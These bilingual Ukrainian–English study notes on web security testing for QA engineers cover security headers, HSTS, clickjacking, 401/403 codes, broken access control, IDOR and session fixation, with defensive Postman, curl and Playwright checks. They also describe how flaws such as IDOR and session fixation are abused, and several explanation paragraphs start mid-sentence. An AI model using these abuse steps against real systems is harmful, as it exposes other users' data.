Навіщо/коли: Перевірка заголовків безпеки — це найшвидший і найпростіший спосіб посилити базову безпеку веб-застосунку. Їх відсутність автоматично розцінюється сканерами як вразливість низького або середнього рівня. Наприклад, якщо ваш сайт не має X-Frame-Options, хакер може створити невидимий iframe з вашим сайтом, розмістити поверх нього свої кнопки на фальшивому сайті і змусити користувача клікнути на них (таким чином перевівши гроші або видаливши акаунт). Слід завжди тестувати ці конфігурації у перших циклах релізу.
Приклад з реального проєкту: На одному фінансовому дашборді ми мали проблеми з безпекою: аудит виявив відсутність Strict-Transport-Security. Це означало, що перший вхід користувача міг відбуватися по незахищеному HTTP, дозволяючи перехоплення сесії. Я написав Postman-скрипт, який просто робив GET запит до головної сторінки і перевіряв наявність Strict-Transport-Security, X-Frame-Options (значення DENY або SAMEORIGIN) та відсутність технологічних заголовків на кшталт X-Powered-By: Express (які можуть видати версію сервера хакерам). Ці тести інтегрували в CI пайплайн.
Підводні камені: Основна трудність — знайти баланс між безпекою та бізнес-потребами. Повний DENY для X-Frame-Options зламає функціональність, якщо вашому сервісу дійсно потрібно, щоб клієнти вбудовували його через iframe. Тоді треба переходити на використання директиви frame-ancestors в CSP. Ще одна помилка: тестувальники перевіряють заголовки тільки на головній сторінці, забуваючи, що бекенд може віддавати зовсім інші політики для статичних файлів або специфічних API-ендпоінтів.
Уточнююче питання: Чи є у вашій системі автоматизована валідація 필수 HTTP заголовків безпеки на рівні API гейтвею або балансувальника навантаження?
What it is: Security headers comprise a specialized subset of HTTP response headers actively dispensed by a web server, explicitly instructing modern browsers on how to fortify the client-side session against pervasive threat vectors. Fundamental pillars include Strict-Transport-Security (HSTS), which adamantly forbids downgrading secure HTTPS connections to plaintext HTTP; X-Frame-Options, which viciously combats clickjacking attacks by aggressively regulating if the application can be encapsulated within an iframe; and X-Content-Type-Options: nosniff, which forcefully commands the browser to respect declared document MIME types rather than dangerously guessing them.
Why/when: Interrogating and enforcing security headers is arguably the most rapid, universally effective low-hanging fruit in web architecture hardening. Their absence is universally flagged by automated vulnerability scanners and penetration testers as a baseline operational failing. For instance, neglecting the X-Frame-Options directives allows an attacker to orchestrate devastating clickjacking campaigns—overlaying a transparent, malicious user interface weaponized on top of your legitimate application, tricking unsuspecting users into executing authorized transfers or irreversible account deletions. QA must continuously enforce these configurations immediately upon initial environment deployment.
Real project example: During an architectural review of a sensitive financial ledger application, I discovered our authentication endpoints lacked crucial defense-in-depth headers. Recognizing the severity, I utilized Playwright to construct an automated regression module. This script intentionally fired generic GET requests targeting the production load balancer, strictly asserting the presence of Strict-Transport-Security, requiring X-Frame-Options to strictly evaluate to DENY, and aggressively failing the build if legacy information-leaking headers (such as X-Powered-By: PHP or Server: Apache) were inexplicably broadcasted to external networks.
Pitfalls: The most complicated entanglement is bridging the massive chasm between theoretical maximum security and pragmatic business logic. Setting X-Frame-Options: DENY universally will instantly paralyze your platform if your core business involves supplying embeddable widgets for external partners (where you must pivot to sophisticated CSP frame-ancestors policies). Furthermore, QA teams mistakenly evaluate headers exclusively against the application's root URL, completely ignoring the fact that downstream microservices, static asset storage bubbles, and distinct API controllers often broadcast dangerously disparate, unprotected HTTP profiles.
Clarifying question: Does your operational continuous integration pipeline actively block deployments if the routing layer completely fails to broadcast mandatory security baseline headers?
// Testing security headers using Postman
pm.test("Security headers are present", function () {
pm.response.to.have.header("Strict-Transport-Security");
pm.response.to.have.header("X-Content-Type-Options", "nosniff");
pm.response.to.have.header("X-Frame-Options", "SAMEORIGIN");
});
pm.test("Information leak headers are absent", function () {
// Ensure backend technology is not exposed
pm.expect(pm.response.headers.has("X-Powered-By")).to.be.false;
pm.expect(pm.response.headers.has("Server")).to.be.false;
});
Що це: HTTP Strict Transport Security (HSTS) — це механізм веб-безпеки, який змушує браузери взаємодіяти з сервером виключно через безпечне HTTPS-з'єднання. Коли сервер надсилає заголовок Strict-Transport-Security, браузер запам'ятовує це правило на вказаний час і автоматично перетворює всі HTTP-запити на HTTPS ще до того, як вони покинуть клієнт. Це фундаментальний захист від багатьох атак, що експлуатують небезпечні канали.
Навіщо/коли: HSTS критично важливий для захисту від атак типу Man-in-the-Middle (MitM) та SSL-stripping, коли зловмисник намагається перехопити трафік або понизити з'єднання з HTTPS до незашифрованого HTTP. Він також захищає від перехоплення cookies сесії (якщо вони не мають прапорця Secure, хоча HSTS і Secure доповнюють один одного). Впроваджується на будь-якому ресурсі, який працює з чутливими даними, фінансами або автентифікацією користувачів.
Приклад з реального проєкту: Під час тестування банківського веб-застосунку ми перевіряли конфігурацію продакшен-сервера за допомогою сканера OWASP ZAP або curl. З'ясувалося, що на головній сторінці заголовок був відсутній, що робило перше відвідування вразливим до перехоплення. Після репорту DevOps-команда додала заголовок HSTS з директивою includeSubDomains, і всі субдомени, включаючи api.bank.com, також стали вимагати суворого HTTPS.
Підводні камені: Основний недолік — уразливість "першого дотику" (First Use), коли браузер ще не знає про HSTS для даного домену під час першого HTTP-візиту. Для вирішення цього існує HSTS Preload List, який вбудовується безпосередньо в браузери. Інший камінь — неправильно налаштований max-age (занадто короткий) або випадкове включення includeSubDomains на доменах, які ще не повністю перейшли на HTTPS, що призводить до їхньої повної недоступності.
Уточнююче питання: Чи використовуєте ви директиву preload у вашому заголовку HSTS, і які кроки потрібні, щоб додати домен до глобального списку передвстановленого HSTS у браузерах Chrome і Firefox?
What it is: HTTP Strict Transport Security (HSTS) is a web security policy mechanism that forces web browsers to interact with a server strictly via secure HTTPS connections. When the server sends the Strict-Transport-Security header, the browser caches this rule for a specified duration and automatically upgrades all unsecured HTTP requests to HTTPS before they even leave the client. It is a fundamental shield against attacks exploiting insecure channels.
Why/when: HSTS is critically important to mitigate Man-in-the-Middle (MitM) and SSL-stripping attacks, where an attacker intercepts traffic or attempts to downgrade a connection from HTTPS to unencrypted HTTP. It also helps prevent session cookie hijacking if cookies lack the Secure flag (though HSTS and Secure complement each other). It should be implemented on any resource dealing with sensitive data, finance, or user authentication.
Real project example: While testing a banking web application, we verified the production server configuration using an OWASP ZAP scanner and curl. We discovered the header was missing on the landing page, making the initial visit vulnerable to interception. Following the bug report, the DevOps team added the HSTS header with the includeSubDomains directive, ensuring all subdomains like api.bank.com also mandated strict HTTPS.
Pitfalls: The primary drawback is the Trust on First Use (TOFU) vulnerability, where the browser doesn't yet know about the HSTS policy during the very first HTTP visit. The HSTS Preload List, hardcoded into modern browsers, solves this. Another pitfall is misconfiguring max-age (setting it too low) or accidentally applying includeSubDomains when some legacy subdomains still rely on HTTP, resulting in total breakage of those domains.
Clarifying question: Do you include the preload directive in your HSTS header, and what is the process for submitting a domain to the global HSTS preload list maintained by browser vendors like Google Chrome?
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Checking via bash script with curl
curl -s -I https://example.com/ | grep -i "Strict-Transport-Security"
max-age=31536000 каже браузеру запам'ятати правило на 1 рік (у секундах). includeSubDomains поширює його на всі піддомени, а preload дозволяє додати сайт до хардкодного списку безпечних доменів у браузерах. Далі показано команду curl для перевірки наявності цього заголовка.max-age=31536000 directive tells the browser to cache this rule for 1 year (in seconds). includeSubDomains applies the rule to all subdomains, while preload allows the site to be submitted to hardcoded secure domain lists in browsers. Below is a curl command checking for this header.Що це: Clickjacking (викрадення кліків) — це шкідлива техніка, за якої зловмисник приховує невидимий iframe з цільовим веб-сайтом поверх видимої привабливої сторінки. Користувач думає, що клікає на кнопку (наприклад, "Отримати приз"), але насправді клікає на приховану кнопку (наприклад, "Видалити акаунт" або "Здійснити платіж") на вразливому сайті, де він уже авторизований. X-Frame-Options — це HTTP-заголовок для захисту від цієї атаки.
Навіщо/коли: Цей вектор атаки зустрічається в застосунках, які дозволяють вбудовувати свої сторінки в чужі iframe. Захист потрібно впроваджувати завжди, особливо якщо на сторінці є кнопки, що змінюють стан системи або ініціюють фінансові транзакції. Заголовок X-Frame-Options (та сучасна альтернатива Content-Security-Policy: frame-ancestors) каже браузеру, чи має він право рендерити сторінку всередині фрейму на іншому домені.
Приклад з реального проєкту: На проєкті внутрішньої ERP-системи ми виявили, що сторінка "Зміна пароля" може бути відкрита у фреймі. Ми написали простий PoC (Proof of Concept) у вигляді HTML-файлу з iframe, що вказував на цю сторінку. Показали розробникам, як легко можна підкласти прозорий фрейм під курсор миші. Після цього вони додали заголовок X-Frame-Options: SAMEORIGIN, і наш PoC у браузері видав помилку блокування.
Підводні камені: Заголовок X-Frame-Options є дещо застарілим і має лише три опції (DENY, SAMEORIGIN, ALLOW-FROM), причому ALLOW-FROM підтримується не всіма сучасними браузерами. Гнучкіше і надійніше використовувати директиву frame-ancestors у Content-Security-Policy (CSP), яка дозволяє вказати кілька конкретних доменів. Також треба бути обережним з DENY, якщо ваш додаток легітимно використовує мікрофронтенди через фрейми.
Уточнююче питання: Замість X-Frame-Options, чи розглядаєте ви впровадження Content Security Policy з директивою frame-ancestors для більш тонкого налаштування дозволених джерел фреймування?
What it is: Clickjacking is a malicious technique where an attacker overlays an invisible iframe containing a target website on top of a deceptive page. The user thinks they are clicking a benign button (like "Win a prize") but is actually clicking a hidden button (e.g., "Delete account" or "Transfer funds") on the vulnerable site where they are authenticated. X-Frame-Options is an HTTP response header designed to prevent this exact attack.
Why/when: This attack vector targets web applications that loosely allow their pages to be embedded inside third-party iframes. Protection must be implemented proactively, especially on pages containing state-changing actions or financial transactions. The X-Frame-Options header (and its modern successor, Content-Security-Policy: frame-ancestors) instructs the browser whether it is allowed to render the page within a frame context.
Real project example: While testing an internal ERP application, we discovered that the "Change Password" page could be embedded in an iframe. We created a quick HTML Proof of Concept with an iframe pointing to that sensitive endpoint and demonstrated how easily a transparent frame could follow the user's cursor. Developers subsequently implemented the X-Frame-Options: SAMEORIGIN header, causing our PoC to fail and the browser to block the render.
Pitfalls: The X-Frame-Options header is somewhat legacy and restrictive, offering only DENY, SAMEORIGIN, and the poorly-supported ALLOW-FROM directives. A more robust and flexible approach is using the Content-Security-Policy (CSP) frame-ancestors directive, which lets you whitelist multiple specific domains safely. Exercise caution when using DENY if your architecture legitimately relies on iframe-based micro-frontends.
Clarifying question: Instead of relying solely on X-Frame-Options, have we considered implementing a granular Content Security Policy with the frame-ancestors directive to manage cross-domain framing?
# Testing security headers using curl
curl -I https://api.myapp.com/profile
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;
curl -I. У відповіді сервер повертає два заголовки захисту. X-Frame-Options: SAMEORIGIN дозволяє вбудовувати сторінку у фрейми лише сторінкам з того ж самого домену. А заголовок CSP frame-ancestors 'self' https://trusted.com робить те саме більш сучасним способом, додатково дозволяючи вбудовування з певного довіреного домену.curl -I command. The server responds with two defensive headers. X-Frame-Options: SAMEORIGIN permits embedding the page in iframes only if the requesting site shares the exact same origin. The CSP header frame-ancestors 'self' https://trusted.com updates this policy by elegantly allowing embedding from the same origin as well as an explicitly trusted domain.Що це: Це дві фундаментально різні концепції контролю доступу. Автентифікація (Authentication, AuthN) перевіряє "Хто ти?" — ідентифікує користувача, переконуючись, що він є тим, за кого себе видає (наприклад, через логін і пароль). Авторизація (Authorization, AuthZ) перевіряє "Що тобі дозволено?" — визначає права доступу ідентифікованого користувача до певних ресурсів чи дій (наприклад, чи може цей користувач видалити файл).
Навіщо/коли: Розуміння різниці необхідне для правильного тестування безпеки. Баги автентифікації — це зазвичай можливість зайти в систему без пароля або підробити токен (обходиться сама перевірка особи). Баги авторизації (в тому числі IDOR, Broken Access Control) — це коли ви успішно залогінились як Вася, але маєте можливість змінити профіль Петра або зайти в панель адміністратора. Ці речі тестуються різними тест-кейсами.
Приклад з реального проєкту: На платформі для HR-менеджерів ми розділили кейси перевірки. Спочатку тестували автентифікацію: слабкі паролі, багато спроб входу (brute force), перехоплення сесії, неправильна інвалідація JWT. Потім перейшли до авторизації: маючи дві ролі, 'Employee' та 'HR', я писав API-тести в Playwright, які намагалися надіслати POST /api/salaries, бувши залогіненим під Employee. Очікуваною відповіддю був статус 403 Forbidden, а не 200 OK.
Підводні камені: Найбільша плутанина виникає зі статускодами HTTP. 401 Unauthorized насправді означає "Unauthenticated" (ти не залогінений, ми не знаємо, хто ти). А 403 Forbidden означає "Unauthorized" (ми знаємо, хто ти, але тобі туди не можна). Крім того, розробники часто імплементують AuthN централізовано, а перевірки AuthZ розмазують по всьому коду бізнес-логіки, що робить авторизацію головним джерелом вразливостей.
Уточнююче питання: Яка система контролю доступу (RBAC або ABAC) використовується на проєкті і в яких місцях ми повинні перевіряти перетини ролей?
What it is: These are two fundamentally different access control concepts. Authentication (AuthN) verifies "Who are you?"—it identifies the user, ensuring they are indeed who they claim to be (e.g., using a username and password). Authorization (AuthZ) verifies "What are you allowed to do?"—it determines the permissions and access levels of an identified user for specific resources or actions (e.g., assessing whether the user can delete a document).
Why/when: Grasping the distinction is essential for proper security testing. Authentication bugs typically involve bypassing login completely or forging a session token (breaking the identity check). Authorization bugs (including Broken Access Control and IDOR) occur when you log in successfully as User A but are able to edit the profile of User B or access the admin panel. These require entirely different testing paradigms.
Real project example: On an HR management platform, we compartmentalized our test suites. First, we targeted AuthN by testing weak password policies, brute-force protections, and token invalidation flaws. Next, we pivoted to AuthZ: armed with both 'Employee' and 'HR' roles, I authored Playwright API tests injecting POST /api/salaries requests while authenticated as an Employee. The assertion demanded a 403 Forbidden status, ensuring the action was explicitly blocked.
Pitfalls: The biggest source of confusion stems from standard HTTP status codes. A 401 Unauthorized response actually means "Unauthenticated" (you haven't logged in, we don't know who you are). Conversely, a 403 Forbidden response signifies "Unauthorized" (we know exactly who you are, but you lack the necessary permissions). Furthermore, while AuthN is often handled centrally, AuthZ logic is notoriously scattered across the business logic, leading to frequent vulnerabilities.
Clarifying question: Is our application architecture relying on Role-Based Access Control (RBAC) or Attribute-Based (ABAC), and how do we handle overlapping role permissions?
test('Employee cannot access HR endpoints', async ({ request }) => {
// 1. AuthN: Get valid token for employee
const empToken = await login('employee_1');
// 2. AuthZ: Access restricted endpoint
const response = await request.post('/api/salaries', {
headers: { 'Authorization': `Bearer ${empToken}` }
});
// Should be 403 Forbidden, not 401 Unauthorized
expect(response.status()).toBe(403);
});
empToken. Другий крок — авторизація: ми намагаємося зробити дію, яка доступна тільки HR. Оскільки токен валідний, система нас впізнає (тому немає 401), але нам бракує прав, тому перевірка очікує статускод 403.empToken. The second step is authorization: we attempt a protected action reserved for HR users. Because the token is valid, the system knows who we are (avoiding a 401 error), but since we lack the proper role permissions, the assertion expects a 403 status code.Що це: HTTP-статуси 401 Unauthorized та 403 Forbidden — це стандартизовані відповіді сервера для обробки проблем безпеки. 401 означає відсутність або невалідність автентифікації (користувач не надав дійсного токена, сесії чи куки). 403 означає брак авторизації (сервер зрозумів запит, ідентифікував користувача, але відмовляється виконати дію через брак прав).
Навіщо/коли: Точне розрізнення цих статусів дозволяє розробникам та QA правильно діагностувати проблеми. Якщо фронтенд отримує 401, він має автоматично перенаправити користувача на екран логіна або оновити токен. Якщо він отримує 403, користувачу потрібно показати повідомлення типу "У вас немає прав для перегляду цієї сторінки", і редірект на логін не допоможе.
Приклад з реального проєкту: Під час API-тестування системи документообігу я надіслав запит DELETE /api/docs/1 без заголовка Authorization. Відповідь була 401. Потім я додав заголовок з токеном звичайного користувача (не адміна) до того ж запиту. Сервер перевірив токен, розпізнав мене, але видав 403 Forbidden, оскільки звичайний користувач не має права видаляти глобальні документи. Це еталонна поведінка REST API.
Підводні камені: Основний підводний камінь — плутанина в назві стандарту. RFC назвав код 401 "Unauthorized" (неавторизований), але по факту він означає неавтентифікований. Через це молоді розробники часто повертають 401 замість 403, що ламає флоу на фронтенді (починається нескінченний цикл редіректів на логін сторінку, хоча юзер залогінений). Також іноді навмисне повертають 404 Not Found замість 403, щоб приховати сам факт існування ресурсу від зловмисника.
Уточнююче питання: Чи є у нас політика повернення коду 404 замість 403 для надчутливих ресурсів, щоб уникнути розкриття інформації про їх існування?
What it is: HTTP status codes 401 Unauthorized and 403 Forbidden are standardized server responses for handling access control failures. A 401 status means authentication is missing or invalid (the client failed to provide a valid token, session, or cookie). A 403 status means authorization failed (the server understood the request and identified the user, but refuses to execute it due to insufficient permissions).
Why/when: Precisely distinguishing between these codes allows developers and QA teams to diagnose issues correctly. When a frontend application encounters a 401, its proper reaction is to proactively redirect the user to a login screen or attempt a token refresh. If it receives a 403, it should display a non-dismissible message like "You lack the necessary permissions," because a login redirect won't solve a permission deficit.
Real project example: During API testing of a document management system, I executed a DELETE /api/docs/1 request omitting the Authorization header entirely. I received a 401 response. Next, I injected a valid bearer token belonging to a basic user (non-admin) into the same request. The backend validated the token and recognized me, but appropriately returned a 403 Forbidden because a standard user role is barred from deleting global documents. This is textbook REST API behavior.
Pitfalls: The primary pitfall is the historical misnomer in the HTTP RFC standard itself. It named the 401 code "Unauthorized," when structurally it means unauthenticated. Consequently, junior developers frequently throw a 401 instead of a 403. This wreaks havoc on the frontend, often triggering endless redirect loops to the login page for already-authenticated users. Additionally, some teams purposefully return 404 Not Found instead of 403 to prevent enumeration and hide the existence of a resource.
Clarifying question: Do we have a security guideline to deliberately return a 404 Not Found rather than a 403 for ultrasensitive endpoints to thwart resource enumeration attacks?
# 1. Missing or invalid token -> 401
curl -i -X GET https://api.app.com/admin/panel
HTTP/1.1 401 Unauthorized
{"error": "Missing authentication token"}
# 2. Valid token but insufficient privileges -> 403
curl -i -H "Authorization: Bearer dev_token" https://api.app.com/admin/panel
HTTP/1.1 403 Forbidden
{"error": "You don't have permission to access admin panel"}
/admin/panel без жодних даних про себе і отримуємо статус 401. У другому випадку ми передаємо дійсний токен звичайного розробника. Сервер нас впізнає, 401 вже не кидає, але перевіряє роль, бачить, що ми не адмін, і відхиляє запит статусом 403./admin/panel endpoint anonymously, prompting a 401 status. In the second snippet, we supply a perfectly valid authentication token belonging to a basic developer. The server successfully identifies us, pushing past the 401 check, but examines our role, realizes we lack administrative privileges, and denies the request with a 403 status.Що це: Зламаний контроль доступу (Broken Access Control) — це вразливість, яка посідає перше місце в сучасному списку OWASP Top 10. Вона виникає, коли система неправильно або взагалі не перевіряє, чи має користувач права на виконання певної дії чи доступ до певних даних. Це глобальна категорія, яка включає IDOR, підвищення привілеїв, маніпуляції з метаданими та обхід перевірок маршрутів.
Навіщо/коли: Тестування контролю доступу є найважливішою частиною тестування безпеки бізнес-логіки. Автоматизовані сканери (DAST), як правило, погано знаходять такі баги, оскільки вони не розуміють контексту і ролей («чи може бухгалтер видалити запис відділу кадрів?»). Тому QA-інженери повинні писати автотести і мануально складати матрицю прав доступу для кожної ролі та кожного ендпоінта.
Приклад з реального проєкту: В адміністративній панелі налаштувань інтернет-магазину була кнопка «Завантажити всі звіти», видима лише адмінам. На фронтенді кнопка ховалася для звичайних менеджерів, але сам бекенд-маршрут (GET /api/v1/reports/export) зовсім не мав перевірки ролей. Ми зловили цей запит через інструменти розробника, залогінились під менеджером і через Postman надіслали той самий GET-запит. Сервер віддав повний архів звітів.
Підводні камені: Найрозповсюдженіший підводний камінь — "Security by Obscurity" або безпека через приховування. Коли розробники просто приховують UI-елементи на клієнті, але залишають бекенд відкритим. Інша проблема — відсутність fail-close механізму, коли за замовчуванням дія дозволена, а обмеження дописуються по ходу. Якщо розробник забуде додати декоратор @require_admin, функція миттєво стає вразливою.
Уточнююче питання: Чи є в нашому фреймворку підхід deny-by-default, де доступ до будь-якого нового ендпоінта автоматично блокується, поки явно не будуть прописані дозволені ролі?
What it is: Broken Access Control is a severe vulnerability that consistently ranks #1 on the modern OWASP Top 10 list. It occurs when a system fails to properly verify or enforce limitations on what authenticated users are allowed to do. It is a broad, overarching category encompassing IDOR, horizontal and vertical privilege escalation, metadata manipulation, and bypassing route protections.
Why/when: Validating access controls is arguably the most critical aspect of business logic security testing. Automated vulnerability scanners (DAST tools) generally fail at detecting these logical bugs because they lack contextual awareness of user roles ("Is the accountant supposed to edit HR records?"). Consequently, QA engineers must author automated tests and manually compile detailed Authorization Role Matrices to systematically hammer every endpoint.
Real project example: In an e-commerce backend dashboard, an "Export All Reports" button was conditionally rendered on the frontend only for Admin users. While the UI hid the button from standard Managers, the underlying backend endpoint (GET /api/v1/reports/export) lacked any role verification logic. We intercepted the request with DevTools, logged in with basic Manager credentials, and forcefully executed the GET request via Postman. The server gleefully spat out the entire financial archive.
Pitfalls: The most prevalent anti-pattern is "Security by Obscurity." Developers often fall into the trap of merely hiding UI elements (like removing buttons) while leaving the unprotected API endpoints widely exposed. Another major flaw is the absence of a fail-closed architecture, where actions are inherently permitted unless explicitly denied. Thus, if a developer simply forgets to add an @require_admin decorator, the new function becomes instantly exploitable.
Clarifying question: Does our framework employ a deny-by-default security posture, ensuring that an endpoint is inherently locked out until explicit role permissions are actively assigned to it?
// Example of broken vs secure access control in Express.js backend
app.delete('/api/users/:id', checkAuth, async (req, res) => {
// BROKEN: Only checks if user is logged in, no role check!
// await User.delete(req.params.id);
// SECURE: Verifying both identity AND admin role
if (req.user.role !== 'ADMIN') {
return res.status(403).json({ error: 'Insufficient privileges' });
}
await User.delete(req.params.id);
res.sendStatus(204);
});
checkAuth гарантує лише, що токен валідний, але будь-який юзер міг би видаляти акаунти. Безпечний код додає явну авторизаційну перевірку: пересвідчується, що роль дорівнює ADMIN, інакше відкидає запит через 403 Forbidden.checkAuth middleware only ensures identical validity, permitting any authenticated user to delete accounts. The fortified code injects explicit authorization logic: validating that the requester's role translates strictly to ADMIN, tossing a 403 Forbidden intercept if it doesn't.Що це: IDOR — це підвид Broken Access Control (горизонтальне розширення привілеїв). Вразливість виникає, коли застосунок надає прямий доступ до об'єктів (наприклад, файлів або записів у БД) базуючись на ідентифікаторі (ID), що надається користувачем, без перевірки належності. Це означає, що змінивши /api/orders/5 на /api/orders/6, ви можете прочитати або змінити дані зовсім іншого користувача.
Навіщо/коли: Цю вразливість слід шукати у всіх REST API, де використовуються числові автоінкрементні ID у URL або в тілі запиту. Вона надзвичайно небезпечна, бо дозволяє масово викачувати чужі дані (scrapping/enumeration). Для тестування QA зазвичай створює двох окремих тестових користувачів, створює ресурс (наприклад, чек або кошик) від імені Користувача А, і намагається отримати або змінити його, використовуючи токен Користувача Б.
Приклад з реального проєкту: У медичному додатку результати аналізів завантажувалися через ендпоінт GET /api/v1/results/1042. Я зайшов під одним пацієнтом, отримав свій результат, а потім у Postman змінив цифру на 1043. Сервер повернув мені результати іншої людини, бо бекенд перевіряв лише факт авторизації (наявність JWT), але не перевіряв, чи patient_id у звіті співпадає з user_id у моєму токені. Це був критичний витік медичних даних.
Підводні камені: Популярний міф, що заміна числових ID на UUIDv4 (випадковий довгий рядок) повністю вирішує IDOR. Хоча UUID унеможливлює простий перебір (enumeration), це не виправляє саму відсутність перевірки прав. Якщо зловмисник якось дізнається UUID чужого ресурсу (наприклад, через Referer, лог або перехоплене посилання), IDOR все одно спрацює. Справжній фікс — це надійна перевірка авторизації на бекенді, незалежно від типу ідентифікатора.
Уточнююче питання: В усіх наших запитах ми використовуємо UUID, але чи є на бекенді для кожного доступу перевірка, чи належить цей ресурс саме поточному user_id з сесії/токену?
What it is: IDOR is a specific, destructive subtype of Broken Access Control involving horizontal privilege escalation. It surfaces when an application exposes direct access to internal objects (like database records or files) via a user-supplied identifier (ID) without validating ownership. Simply put, by manipulating a URL parameter from /api/orders/5 to /api/orders/6, an attacker can retrieve, alter, or destroy another user's restricted assets.
Why/when: This defect should be vigorously hunted in any RESTful API depending on predictable, incrementing IDs in its URI or payload. It poses a massive threat because it enables rapid, automated scraping of sensitive data through enumeration. QA engineers typically hunt this by spinning up two isolated test accounts, spawning a resource (like a private invoice) with User A, and ruthlessly attempting to manipulate or fetch that exact ID using the session token of User B.
Real project example: In a telehealth application, laboratory test results were requested via GET /api/v1/results/1042. Authenticated as Patient A, I intercepted my API request and simply bumped the ID to 1043 in Postman. Alarmingly, the server returned another patient's confidential results. The backend logic aggressively validated my JWT presence but entirely bypassed the sanity check confirming that the requested document's patient_id matched my token's user_id.
Pitfalls: A prevalent architectural myth suggests substituting predictable integers with UUIDv4 strings completely eradicates IDOR. Delusion! While UUIDs halt sequential ID guessing (enumeration), they do not patch the missing access control logic. If an attacker stumbles upon a victim's UUID—perhaps via a leaked Referer header, brute-force crawling, or a shared hyperlink—the intrinsic IDOR triggers perfectly. Genuine remediation necessitates enforcing robust contextual authorization matching the owner_id logic securely on the backend.
Clarifying question: Although we have transitioned to obfuscated UUIDs externally, can we guarantee that the backend concretely maps and evaluates every requested object against the user_id embedded within the authorizing token?
test('IDOR testing: UserB cannot read UserA invoice', async ({ request }) => {
// Setup: Two separate authenticated clients
const tokenA = await login('user_a');
const tokenB = await login('user_b');
// UserA creates an invoice and gets its ID
const resA = await request.post('/api/invoices', { headers: { 'Authorization': tokenA } });
const invoiceId = (await resA.json()).id;
// UserB tries to access UserA's invoice
const resB = await request.get(`/api/invoices/${invoiceId}`, {
headers: { 'Authorization': tokenB }
});
// The server must block it with a 403 Forbidden or 404 Not Found
expect([403, 404]).toContain(resB.status());
});
invoice) і дізнається його ID. Далі, найважливіший крок: скрипт бере токен Користувача Б і намагається отримати доступ до ресурсу по ID, який належить Користувачу А. Перевірка стверджує, що бекенд має захистити дані, повернувши статус 403 або 404.invoice), yielding a specific ID. In the critical exploit phase, the script weaponizes User B's token, attempting to extract identical data strictly bound to User A via the identified ID. The assertion mandates the API fiercely guard the entry, ensuring a 403 Forbidden or an obfuscating 404 Not Found response.Що це: Session Fixation (фіксація сесії) — це атака, при якій зловмисник примусово встановлює для жертви певне значення ідентифікатора сесії (session ID) ще до того, як жертва пройде автентифікацію. Якщо система не змінює session ID після успішного входу, браузер жертви продовжить використовувати нав'язаний ідентифікатор, але сесія вже буде авторизованою. Оскільки хакер знає цей ID з самого початку, він отримує повний доступ до акаунта жертви.
Навіщо/коли: Ця атака була дуже поширеною, коли session ID передавався прямо в URL параметрах (?PHPSESSID=123) і розробники забували перевипустити сесію. Зараз вона зустрічається рідше, завдяки сучасним фреймворкам, які ізолюють роботу з куками, але все ще виникає в legacy-коді чи самописних системах автентифікації. Перевірка фіксації сесії — обов'язковий тест-кейс переходу стану від "анонім" до "залогінений".
Приклад з реального проєкту: Я перевіряв legacy PHP-застосунок. Скопіював куку JSESSIONID ще до того, як натиснув кнопку логіна. Авторизувався і побачив, що у вкладці Application -> Cookies значення JSESSIONID не змінилось. Це означало, що якби я відправив жертві лінк з вшитим session ID або зміг підкласти його через XSS/доменні куки, я б отримав доступ до її кабінету одразу після її логіну. Баг виправили викликом функції session_regenerate_id().
Підводні камені: Основний контрзахід — абсолютна регенерація ідентифікатора сесії після успішної або неуспішної зміни контексту привілеїв. Крім цього, слід приймати session ID лише через cookie (без передачі в URL), використовувати прапорці HttpOnly, Secure та обмежити домен через префікси. Пам'ятайте, що якщо застосунок використовує JWT (Stateless токени, які генеруються лише після логіну), то атака Session Fixation до нього взагалі не застосовна.
Уточнююче питання: Враховуючи, що наше нове API повністю stateless і використовує JWT, чи можемо ми закрити застарілі ризики Session Fixation щодо нашої старих stateful панелей адміністратора?
What it is: Session Fixation is a vulnerability where an attacker forcefully binds a predetermined session identifier (session ID) to a victim's browser before the victim ever explicitly authenticates. When the system negligently reuses this same tainted ID post-login rather than refreshing it, the session achieves authorized state. Since the hacker orchestrated the exact session ID intentionally, they immediately inherit administrative access to the victim's authenticated profile.
Why/when: Highly prevalent throughout the early 2000s when primitive session IDs blatantly decorated URL parameters (?SESSION=hack), modern frameworks intrinsically rotate cookies safely, dampening its threat. Nonetheless, it aggressively creeps into legacy monoliths, bespoke authentication logic, and improperly configured middleware. Validating defense against Session Fixation remains a mandatory acceptance criteria whenever testing state transitions ranging from anonymous mapping to fully authenticated.
Real project example: While poking a legacy architecture, I intentionally grabbed the unauthenticated JSESSIONID cookie before typing credentials. Navigating through the login successfully, I inspected the browser DevTools and agonizingly noted the JSESSIONID string remained starkly identical. By theoretically embedding this ID into a crafted hyperlink or injecting it via subdomain vulnerabilities, a hacker could simply wait for the target to log in and instantly ride their hijacked session. A timely invocation of session_regenerate_id() seamlessly destroyed the bug.
Pitfalls: Eradication mandates absolute destruction and regeneration of the session ID immediately upon any privilege alteration (login, logout, privilege escalation). Supplementary safeguards heavily enforce receiving session IDs solely via strictly scoped cookies (discarding URL vectors) aggressively armored with HttpOnly and Secure flags. Crucially, recognize that modern stateless authentication architectures leaning fundamentally on JWTs cleanly bypass the Session Fixation vector entirely.
Clarifying question: Given our frontend transition leverages stateless authentication tokens primarily mapped to Authorization headers, does enforcing JWT boundaries systematically circumvent legacy Session Fixation vectors fundamentally plaguing our older portal APIs?
# Test sequence using curl for Session Fixation check
# 1. Access login page, get initial session ID (anonymous)
curl -c cookies.txt -s -I https://app.com/login | grep Set-Cookie
# Output: Set-Cookie: session=A1B2C3D4_old; HttpOnly
# 2. Perform login using the grabbed cookie
curl -b cookies.txt -c cookies_new.txt -d "user=test&pass=abc" https://app.com/api/login -s -I
# 3. Check if server issued a NEW session ID
cat cookies_new.txt | grep session
# Bug if output is: session=A1B2C3D4_old
# Secure if output is: session=X9Y8Z7_new_regenerated_id
